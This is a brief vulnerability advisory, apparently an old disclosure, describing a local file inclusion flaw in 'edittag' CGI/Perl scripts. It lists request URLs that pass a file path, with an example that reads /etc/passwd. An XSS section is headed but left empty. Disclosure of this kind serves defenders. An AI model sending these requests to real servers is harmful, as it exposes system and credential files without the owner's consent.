I am sorry for my BAD English.

Description:

1) Local file injection:
An attacker can use edittag.cgi or edittag_mp.cgi (maybe .pl) to inject files 
(ex. /etc/passwd)

http://www.victim/edittag/edittag.cgi?file=INJECT
http://www.victim/edittag/edittag.pl?file=INJECT
http://www.victim/edittag/edittag_mp.cgi?file=INJECT
http://www.victim/edittag/edittag_mp.pl?file=INJECT

ex. http://www.victim/edittag/edittag_mp.pl?file=/etc/passwd

2)XSS
